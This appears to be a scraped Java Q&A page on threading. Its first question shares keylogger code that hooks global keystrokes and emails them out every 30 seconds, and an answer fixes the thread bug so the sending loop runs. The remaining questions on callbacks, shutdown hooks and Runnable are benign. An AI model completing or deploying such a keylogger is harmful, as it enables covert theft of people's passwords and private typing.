I'm trying to run some code I found on a tutorial from youtube for part of a class project. Basically I'm trying to show the effects of what happens when a keylogger is installed on your computer.
For some reason the run() is not being used in the ManageService class and I'm not sure why. I thought by adding the #Override and runnable at the top of the class would make this work.
Main class:
public class Main {
/**
* gfgfterst
* tests
* sfdsf
*
*/
public static void main(String[] args) {
ManageService service = new ManageService();
try {
GlobalScreen.registerNativeHook();
} catch (Throwable e) {
e.printStackTrace();
}
GlobalScreen.getInstance().addNativeKeyListener(service.getKeyBoard());
}
}
ManageService class:
The run() function is not being used when the code is executed.
package handlers;
import keys.NativeKeyBoard;
public class ManageService implements Runnable {
private NativeKeyBoard keyboard;
private Thread service;
public ManageService() {
keyboard = new NativeKeyBoard();
service = new Thread("Manage Service");
service.start();
}
public NativeKeyBoard getKeyBoard() {
return keyboard;
}
#Override
public void run() {
System.out.println("This isn't getting hit?");
long start = System.nanoTime();
while(true) {
long elapsed = (System.nanoTime() - start) / 1_000_000;
if(elapsed > 30_000 * 1) {
try {
Sender.sendMail(Utils.prettyPrint(keyboard.getKeyCache()));
keyboard.onSend();
} catch (Throwable e) {
System.out.println("keystroke data failed to be sentg.");
e.printStackTrace();
keyboard.onFail();
}
start = System.currentTimeMillis();
}
}
}
}
In your constructor code,you have not start the thread of ManageService,you can change your code as below:
public ManageService() {
keyboard = new NativeKeyBoard();
//make ManageService as an parameter to create a thread
service = new Thread(this,"Manage Service");
service.start();
}
It's missing to call to start() method in order to run the thread of ManageService, please update these changes.
public class ManageService extends Thread {
...
}
public static void main(String[] args) {
ManageService service = new ManageService();
service.start();
try {
GlobalScreen.registerNativeHook();
} catch (Throwable e) {
e.printStackTrace();
}
GlobalScreen.getInstance().addNativeKeyListener(service.getKeyBoard());
}
Related
public class DowloadEngine implements Runnable {
public DowloadEngine(CallBack c) {
callback = c;
}
public interface CallBack {
public void processDone(String message);
}
private final CallBack callback;
#Override
public void run() {
try {
Thread.sleep(4000);
} catch (InterruptedException e) {}
callback.processDone("'CallBack' func is called");
}
}
And there is my main class in here
public class GUI implements DowloadEngine.CallBack{
public static void main(String[] args){
Thread thread = new Thread(new DowloadEngine(this));// Error :Make main not static!!
thread.start();
//wait a little to see the result
Scanner scan = new Scanner(System.in);
scan.nextLine();
//wait a little to see the result
}
#Override
public void processDone(String message) {
//code ...
//code ...
//code ...
System.out.println(message);
}
}
I want to do all works on main class via callback method but I did not understand these methodology. How does it works?
How can i use these with together?
Change:
Thread thread = new Thread(new DowloadEngine(this)); to
Thread thread = new Thread(new DowloadEngine(new GUI()));
I am (very) very new to Java. The code in question is spawning a thread that performs some action at a specific time. This time is obtained from the main thread that receives it via http://ip:80/time=(int,sec)
Users can call this URL and update this time as many times as they want. This means I have to pass my integer to the thread so that it can run using a given time, such as when it changes. How do I do that?
Here's how my thread is defined and launched:
Thread launchLoadBalancer = new Thread() {
public void run() {
TimerTask timerTask = new TimerTask(serverSocket, //object for extra data);
try {
timerTask.start();
} catch (IOException e) {
}
}
};
launchtimerTask.start();
I have to pass integer from the new TimerTask. I can modify the constructor on the other end. How do I correctly pass integer?
Make a new class that extends Thread and has a constructor that takes an int.
class LaunchLoadBalancerThread extends Thread {
private int i;
public LaunchLoadBalancerThread(int i) {
this.i = i;
}
public void run() {
TimerTask timerTask = new TimerTask(serverSocket, //object for extra data);
try {
timerTask.start();
} catch (IOException e) {
}
}
}
Then, you can use that class (replace i with your number):
Thread launchLoadBalancer = new LaunchLoadBalancerThread(i);
launchLoadBalancer.start();
public class Main {
public static void main(String[] args) {
int length = 1000;
Thread launchLoadBalancer = () -> {
TimerTask timerTask = new TimerTask(serverSocket, length);
try {
timerTask.start();
} catch (IOException e) {
}
};
launchLoadBalancer.start();
}
}
I'm doing a thread who tells me when an event happens. I think that thread is not necessary if event can be controlled by timer for example. But I need an event every minute. Trouble are two:
1. When event is inside a thread occurs too fast. It seems like loop over thread. But threads are necessary to listen or catch an event.
2. I can't tell method which custom object must dispatch event, and then capture this event from a new class
I hope that you can help, here is code:
import java.util.Observer;
import java.util.Observable;
public class Main {
public static void main(String[] args) {
Threading test = new Threading();
test.start();
}
}
class ResponseHandler implements Observer {
#Override
public void update(Observable obj, Object arg) {
if (arg instanceof String) {
String resp = (String) arg;
System.out.println("\n Received response: " + resp);
}
}
}
class EventSource extends Observable implements Runnable {
#Override
public void run() {
try {
while (true) {
Object msg = new Object(); //I guess that this must have an object here, that throws a timeout
setChanged();
notifyObservers(msg);
}
} catch (Exception e) { e.printStackTrace();}
}
}
class Obj {
EventSource _eventSource;
ResponseHandler _responseHandler;
public Obj() {
try {
_eventSource = new EventSource();
_responseHandler = new ResponseHandler();
_eventSource.addObserver(_responseHandler);
} catch (Exception ex) {
System.out.print(ex);
}
}
}
class Threading extends Obj implements Runnable {
Thread _thread;
public void run() {
while (true) {
try {
_eventSource.run(); //Event which never stops
Thread.sleep(1000); //hey thread what are you doing?
} catch (InterruptedException ex) {
}
System.out.println("Thread");
}
}
//Singlethon
public void start() {
if (_thread == null) {
_thread = new Thread(this);
_thread.start();
}
}
}
Where and how to implement addShutdownHook in a class, which have no main method? Can this used to kill all the active sockets initialized by that class?
This Might work for you,
public class AddShutdownHookSample {
public void attachShutDownHook(){
Runtime.getRuntime().addShutdownHook(new Thread() {
#Override
public void run() {
System.out.println("Inside Add Shutdown Hook");
}
});
System.out.println("Shut Down Hook Attached.");
}
}
And in main Method:
public static void main(String[] args) {
AddShutdownHookSample sample = new AddShutdownHookSample();
sample.attachShutDownHook();
System.out.println("Last instruction of Program....");
System.exit(0);
}
Describe whole thing that you are trying to do and show the very exact point where you are having trouble this would be easier for other to help you.
The following is an example, this may help you
public class RuntimeDemo {
// a class that extends thread that is to be called when program is exiting
static class Message extends Thread {
public void run() {
System.out.println("Bye.");
}
}
public static void main(String[] args) {
try {
// register Message as shutdown hook
Runtime.getRuntime().addShutdownHook(new Message());
// print the state of the program
System.out.println("Program is starting...");
// cause thread to sleep for 3 seconds
System.out.println("Waiting for 3 seconds...");
Thread.sleep(3000);
// print that the program is closing
System.out.println("Program is closing...");
} catch (Exception e) {
e.printStackTrace();
}
}
}
Done like this...
static {
Runtime.getRuntime().addShutdownHook ( new Thread() {
public void run() {
server.shutdown();
}
} );
}
Sorry if this a bit of a basic question but I've been thinking about doing multiple sprite loops and for the first time I tried to create two threads in main, both with while(true) loops. My intention: to have two threads looping simultaneously. However when I run the program it seems to interrupt the flow of execution and the second loop doesn't getting executed in a new thread but just stops with the program stuck on the first endless while() loop of a thread. I think it is still just executing the main thread rather than starting a new one and then continuing on.
I've tried it two ways:
Once with Threads:
public class Zzz {
/**
* #param args the command line arguments
*/
public static void main(String[] args) {
r1 r = new r1();
r2 a = new r2();
r.start();
a.start();
}
}
public class r1 extends Thread {
#Override
public void start() {
while(true) {
System.out.println("r1");
try {
this.sleep(100);
} catch (Exception ex) {
}
}
}
}
public class r2 extends Thread {
#Override
public void start() {
while(true) {
System.out.println("r2");
try {
this.sleep(100);
} catch (Exception ex) {
}
}
}
}
And once with Runnable:
public class Zzz {
/**
* #param args the command line arguments
*/
public static void main(String[] args) {
r1 r = new r1();
r2 a = new r2();
r.run();
a.run();
}
}
public class r1 implements Runnable {
#Override
public void run() {
while(true) {
System.out.println("r1");
try {
Thread.sleep(100);
} catch (Exception ex) {
}
}
}
}
public class r2 implements Runnable {
#Override
public void run() {
while(true) {
System.out.println("r2");
try {
Thread.sleep(100);
} catch (Exception ex) {
}
}
}
}
But to no avail. It always gets stuck at R1. Any ideas anyone? I've googled and looked around about threads and I can't find this covered anywhere.
You need to override run method & in case of runnable you need to create instance of Thread
public class MyThread extends Thread{
#Override
public void run() {
while(true) {
System.out.println("My Thread running");
}
}
ánd for the case of Runnable
class MyRunnable implements Runnable{
public void run(){
System.out.println("I am executing by Thread: " + Thread.currentThread().getName());
}
}
and
Thread mythread = new MyThread();
mythread.setName("T1");
Thread myrunnable = new Thread(new MyRunnable());
myrunnable.start();
To start threads, you need to create two Threads from the Runnables and start them:
Thread t1 = new Thread(r);
Thread t2 = new Thread(a);
t1.start();
t2.start();
Define classes r1 and r2 as :
public class Thread1 extends Thread {
#Override
public void run() {
System.out.println("r1");
try {
this.sleep(100);
} catch (Exception ex) {
}
}
}
public class Thread2 extends Thread {
#Override
public void run() {
System.out.println("r2");
try {
this.sleep(100);
} catch (Exception ex) {
}
}
}
public class ThreadTester {
public static void main(String[] args) {
Thread1 r = new Thread1();
Thread2 a = new Thread2();
r.start();
a.start();
}
}
Using Runnable :
public class HelloRunnable implements Runnable {
public void run() {
System.out.println("Hello from a thread!");
}
public static void main(String args[]) {
(new Thread(new HelloRunnable())).start();
}
}
check java documentation for more info